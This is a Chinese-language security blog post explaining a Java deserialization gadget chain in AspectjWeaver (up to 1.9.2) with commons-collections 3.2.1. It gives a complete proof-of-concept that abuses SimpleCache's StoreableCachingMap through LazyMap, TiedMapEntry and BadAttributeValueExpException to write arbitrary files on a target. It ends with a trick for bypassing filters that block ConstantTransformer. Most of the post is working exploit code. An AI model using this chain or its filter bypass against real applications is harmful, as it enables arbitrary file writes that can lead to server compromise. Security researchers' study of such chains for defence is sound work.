AspectjWeaver反序列化
要求版本<=1.9.2
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
除此以外,还要求有cc的依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
SimpleCache
来看这个类的内部类StoreableCachingMap中的部分片段:
private static class StoreableCachingMap extends HashMap {
private String folder;
private static final String CACHENAMEIDX = "cache.idx";
private long lastStored = System.currentTimeMillis();
private static int DEF_STORING_TIMER = 60000;
private int storingTimer;
private transient Trace trace;
private void initTrace() {
this.trace = TraceFactory.getTraceFactory().getTrace(StoreableCachingMap.class);
}
private StoreableCachingMap(String folder, int storingTimer) {
this.folder = folder;
this.initTrace();
this.storingTimer = storingTimer;
}
public Object put(Object key, Object value) {
IOException e;
try {
e = null;
byte[] valueBytes = (byte[])((byte[])value);
String path;
if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
path = "IDEM";
} else {
path = this.writeToPath((String)key, valueBytes);
}
Object result = super.put(key, path);
this.storeMap();
return result;
} catch (IOException var6) {
e = var6;
this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), e);
Dump.dumpWithException(e);
return null;
}
}
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = this.folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}
}
发现其中的put方法调用了writeToPath,可以用来写文件.
LazyMap
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}
我们在cc6中是使用get方法去调用transform方法,然而这里是使用他去调用put方法的.那么接下来就比较清晰了,无论是使用BadAttributeValueExpException去调用TiedMapEntry的toString方法还是使用HashMap去调用TiedMapEntry的hashCode方法都行.
下面仅给出BadAttributeValueExpException的poc:
package org.example;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("E:", 1);
// 这里用到ConstantTransformer是为了构造value,即写入文件的值
ConstantTransformer transform = new ConstantTransformer("Hello World".getBytes(StandardCharsets.UTF_8));
// 返回一个LazyMap对象
Map outmap = LazyMap.decorate(map,transform);
// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
// 这里是为了序列化时不触发LazyMap的get方法
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
// 序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(poc);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
// 反序列化
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}
HelloWorld会被写入到E盘下.
bypass
一个小的bypass:
Factory ft = new ConstantFactory("Hello World".getBytes(StandardCharsets.UTF_8));
Transformer ct = new FactoryTransformer(ft);
可以用来绕过constantTransformer

浙公网安备 33010602011771号